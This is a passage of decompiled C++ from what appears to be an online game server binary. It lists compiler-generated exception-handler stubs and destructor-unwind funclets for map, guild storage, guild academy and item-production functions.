*)(a1 - 16)); } //----- (00590258) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_MapMarkingAtDefaultCoord_ShineObject_ShineObjectClass__QAE_AW4FM_MarkingError_FieldMap__XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590270) -------------------------------------------------------- void __usercall _L165582_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00590278) -------------------------------------------------------- void __usercall _L165583_0(int a1) { AxialListNumberCount::_AxialListNumberCount((AxialListNumberCount *)(a1 - 24)); } //----- (00590280) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__fm_DistrubuteCalculate_FieldMap__QAEXPATName3__PAH1_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590290) -------------------------------------------------------- void __usercall _L165622_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00590298) -------------------------------------------------------- void __usercall _L165623_0(int a1) { VectorClass::VectorWithLength::_VectorWithLength((VectorClass::VectorWithLength *)(a1 - 28)); } //----- (005902A0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__fm_FindBlockLocation_FieldMap__QAE_AW4WarpResult_1_PBUSHINE_XY_TYPE__H0PAU3_P8MapBlockInformation_MapBlock__AEEKK_Z_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005902B0) -------------------------------------------------------- void __usercall _L165979_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (005902B8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__fm_IsStraightPath_FieldMap__QAEEPAUSHINE_XY_TYPE__0P8MapBlockInformation_MapBlock__AEEKK_Z_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005902D0) -------------------------------------------------------- void __usercall _L166555(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (005902D8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VFieldMap____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005902F0) -------------------------------------------------------- void __usercall _L166593(int a1) { operator delete(*(void **)(a1 + 4)); } //----- (005902FB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__fm_Init_FieldMap__QAEXPAUFieldAttr_FieldOption__PATName4__PATName3___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590310) -------------------------------------------------------- void __usercall _L167519_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut(*(DiceTaiSaiDividind **)(a1 - 428)); } //----- (0059031B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__fc_Load_FieldContainer__QAEXPATName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590330) -------------------------------------------------------- void __usercall _L170436(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00590338) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_PAVRoutionInterface__V__allocator_PAVRoutionInterface___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590350) -------------------------------------------------------- void __usercall _L171208(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00590358) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__fm_SetRefuseAbstate_FieldMap__QAEXW4ABSTATEINDEX___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590370) -------------------------------------------------------- void __usercall _L171366(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 140)); } //----- (0059037B) -------------------------------------------------------- void __usercall _L171367(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 124)); } //----- (00590383) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__fc_AbstateInFieldLoad_FieldContainer__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590390) -------------------------------------------------------- void __usercall _L172177(int a1) { MobDeadCount::_MobDeadCount((MobDeadCount *)(*(_DWORD *)(a1 - 20) + 72)); } //----- (0059039B) -------------------------------------------------------- void __usercall _L172178(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 164)); } //----- (005903A9) -------------------------------------------------------- void __usercall _L172179(int a1) { std::set_std::allocator>::_set_std::allocator>((std::set,std::allocator > *)(*(_DWORD *)(a1 - 20) + 280)); } //----- (005903B7) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1FieldMap__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005903D0) -------------------------------------------------------- void __usercall _L173684(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (005903D8) -------------------------------------------------------- void __usercall _L173685(int a1) { ShineCommonParameter::_ShineCommonParameter((ShineScript *)(*(_DWORD *)(a1 - 16) + 24)); } //----- (005903F0) -------------------------------------------------------- void __usercall _L172380(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00590410) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Copy____Tree_V___Tset_traits_W4ABSTATEINDEX__U__less_W4ABSTATEINDEX___std__V__allocator_W4ABSTATEINDEX___3__0A__std___std__IAEPAU_Node____Tree_nod_V___Tset_traits_W4ABSTATEINDEX__U__less_W4ABSTATEINDEX___std__V__allocator_W4ABSTATEINDEX___3__0A__std___2_PAU342_0_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590420) -------------------------------------------------------- void __usercall _L173416(int a1) { MobDeadCount::_MobDeadCount((MobDeadCount *)(*(_DWORD *)(a1 - 16) + 72)); } //----- (0059042B) -------------------------------------------------------- void __usercall _L173417(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 164)); } //----- (00590439) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0FieldMap__QAE_PBTName3___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590450) -------------------------------------------------------- void __usercall _L173648(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 316)); } //----- (0059045B) -------------------------------------------------------- void __usercall _L173649(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (00590470) -------------------------------------------------------- void __usercall _L77072(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00590478) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__erase____Tree_V___Tset_traits_UFunctionPerformance_FunctionProfiler__U__less_UFunctionPerformance_FunctionProfiler___std__V__allocator_UFunctionPerformance_FunctionProfiler___4__0A__std___std__QAE_AViterator_12_V312__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590490) -------------------------------------------------------- void __usercall _L150554(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (00590498) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__gds_DummyFunction_GameDBSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005904B0) -------------------------------------------------------- void __usercall _L150686(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005904B8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__gds_NC_ITEMDB_OPENSTORAGE_FAIL_ACK_GameDBSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005904D0) -------------------------------------------------------- void __usercall _L117139(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (005904D8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__gls_DummyFunction_GameLogSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005904F0) -------------------------------------------------------- void __usercall _L117224(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005904F8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__gls_NC_MISC_HEARTBEAT_REQ_GameLogSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590510) -------------------------------------------------------- void __usercall _L161645(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00590518) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ACT_GATHERCOMPLETE_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590530) -------------------------------------------------------- void __usercall _L160033(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (00590538) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__rb_Load_RecipeBook_GatherProduce__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590550) -------------------------------------------------------- void __usercall _L160201(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00590558) -------------------------------------------------------- void __usercall _L160202(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (00590560) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_GatherCheck_ShinePlayer_ShineObjectClass__QAEGW4GatherType__PAG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590570) -------------------------------------------------------- void __usercall _L161675(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00590578) -------------------------------------------------------- void __usercall _L161677(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00590580) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ACT_GATHERSTART_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590590) -------------------------------------------------------- void __usercall _L160795(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 76)); } //----- (00590598) -------------------------------------------------------- void __usercall _L160796(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (005905A0) -------------------------------------------------------- void __usercall _L160797(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 48)); } //----- (005905A8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ip_WhereProductStore_ItemProducer__AAEGXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005905C0) -------------------------------------------------------- void __usercall _L161011(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (005905C8) -------------------------------------------------------- void __usercall _L161012(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (005905D0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ip_FindRaw_ItemProducer__AAEGGH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005905E0) -------------------------------------------------------- void __usercall _L161289(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 8360)); } //----- (005905EB) -------------------------------------------------------- void __usercall _L161290_0(int a1) { ItemProducer::_ItemProducer((ItemProducer *)(a1 - 8356)); } //----- (005905F6) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_ply_ItemProduce_ShinePlayer_ShineObjectClass__UAEXG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590600) -------------------------------------------------------- void __usercall _L160077(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00590608) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590620) -------------------------------------------------------- void __usercall _L158781(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff(*(TableNameCompareArgument **)(a1 - 16)); } //----- (00590628) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ShineGuildAcademyGuildBuff__QAE_PAUPROTO_NC_GUILD_ACADEMY_ZONE_GUILD_BUFF_CMD___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590640) -------------------------------------------------------- void __usercall _L159849(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (00590648) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_GuildAcademyRewardStorageDepositAck_ShinePlayer_ShineObjectClass__UAEXPAUPROTO_NC_ITEMDB_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_ACK___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590660) -------------------------------------------------------- void __usercall _L159018(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 8212)); } //----- (0059066B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_GuildAcademyRewardStorageRewardZoneRng_ShinePlayer_ShineObjectClass__UAEXPAUPROTO_NC_GUILD_ACADEMY_DB_ACADEMY_REWARD_ACK___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590680) -------------------------------------------------------- void __usercall _L159293(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00590688) -------------------------------------------------------- void __usercall _L159294(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 28)); } //----- (00590690) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__wms_NC_GUILD_ACADEMY_ZONE_GUILD_BUFF_CMD_WorldManagerSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005906A0) -------------------------------------------------------- void __usercall _L159335(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (005906A8) -------------------------------------------------------- void __usercall _L159336(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 24)); } //----- (005906B0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__wms_NC_GUILD_ACADEMY_ZONE_GUILD_ACADEMY_MASTER_BUFF_CMD_WorldManagerSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005906C0) -------------------------------------------------------- void __usercall _L159690(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (005906C8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Search___List_VGuildAcademyRewardStorageElement_GuildAcademyRewardStorage____QAEPAVGuildAcademyRewardStorageElement_GuildAcademyRewardStorage__P823_AEHPAV1_GPAV23__ZPAG1_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005906E0) -------------------------------------------------------- void __usercall _L159721(int a1) { GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::_GuildAcademyRewardStorageElement((GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *)(a1 - 8392)); } //----- (005906EB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__garsm_FindStorage_GuildAcademyRewardStorageManager_GuildAcademyRewardStorage__QAEPAVGuildAcademyRewardStorageElement_2_KPAG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590700) -------------------------------------------------------- void __usercall _L159732(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 28)); } //----- (00590708) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_GuildAcademyRewardStorageDeactivate_ShinePlayer_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590720) -------------------------------------------------------- void __usercall _L160966_0(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00590728) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0GuildAcademyRewardStorageManager_GuildAcademyRewardStorage__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590740) -------------------------------------------------------- void __usercall _L161158(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00590748) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__zls_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG_ZoneListenSession__QAEXPATNETCOMMAND___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590760) -------------------------------------------------------- void __usercall _L160124(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (00590768) -------------------------------------------------------- void __usercall _L160125(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 120)); } //----- (00590770) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__garsm_SendDeposit2Member_GuildAcademyRewardStorageManager_GuildAcademyRewardStorage__QAEXPAUPROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590780) -------------------------------------------------------- void __usercall _L160314(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 104)); } //----- (00590788) -------------------------------------------------------- void __usercall _L160315(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 100)); } //----- (00590790) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__garsm_SendRewardInfoZoneRng2Member_GuildAcademyRewardStorageManager_GuildAcademyRewardStorage__QAEXPAUPROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005907A0) -------------------------------------------------------- void __usercall _L160383(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (005907A8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VGuildAcademyRewardStorageElement_GuildAcademyRewardStorage____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005907C0) -------------------------------------------------------- void __usercall _L160752(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 136)); } //----- (005907CB) -------------------------------------------------------- void __usercall _L160753(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 132)); } //----- (005907D6) -------------------------------------------------------- void __usercall _L160754(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 132)); } //----- (005907E1) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__lid_Call_ShineGuildAcademyRewardStorageItemInfoZonRng__UAEEPAVShineObject_ShineObjectClass__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005907F0) -------------------------------------------------------- void __usercall _L161049(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (005907F8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG_ZoneListenSession__QAEXPATNETCOMMAND___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590810) -------------------------------------------------------- void __usercall _L158817(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00590818) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_GuildReTypeItemUseSuccess_ShinePlayer_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590830) -------------------------------------------------------- void __usercall _L159020(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00590838) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_GuildReName_ShinePlayer_ShineObjectClass__UAEXETName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590850) -------------------------------------------------------- void __usercall _L159490(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00590858) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0GuildStorageManager_GuildStorage__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590870) -------------------------------------------------------- void __usercall _L159377(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00590878) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__lid_Call_ShineGuildStorageWithdraw__UAEEPAVShineObject_ShineObjectClass__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590890) -------------------------------------------------------- void __usercall _L159140(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00590898) -------------------------------------------------------- void __usercall _L159141(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 28)); } //----- (005908A0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__gsm_SendWithdraw2Member_GuildStorageManager_GuildStorage__QAEXPAUPROTO_NC_GUILD_STORAGEWITHDRAW_RNG___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005908B0) -------------------------------------------------------- void __usercall _L159199(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (005908B8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VGuildStorageElement_GuildStorage____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005908D0) -------------------------------------------------------- void __usercall _L159226(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 60)); } //----- (005908D8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__zls_NC_GUILD_STORAGEWITHDRAW_RNG_ZoneListenSession__QAEXPATNETCOMMAND___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005908F0) -------------------------------------------------------- void __usercall _L159278(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (005908F8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Search___List_VGuildStorageElement_GuildStorage____QAEPAVGuildStorageElement_GuildStorage__P823_AEHPAV1_GPAV23__ZPAG1_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590910) -------------------------------------------------------- void __usercall _L159317(int a1) { GuildStorage::GuildStorageElement::_GuildStorageElement((GuildStorage::GuildStorageElement *)(a1 - 4224)); } //----- (0059091B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__gsm_FindStorage_GuildStorageManager_GuildStorage__QAEPAVGuildStorageElement_2_KPAG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590930) -------------------------------------------------------- void __usercall _L163606(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00590938) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_GUILD_TOURNAMENT_FLAGCAPTURE_CMD_ShinePlayer_ShineObjectClass__QAEXH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590950) -------------------------------------------------------- void __usercall _L167911(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00590958) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl 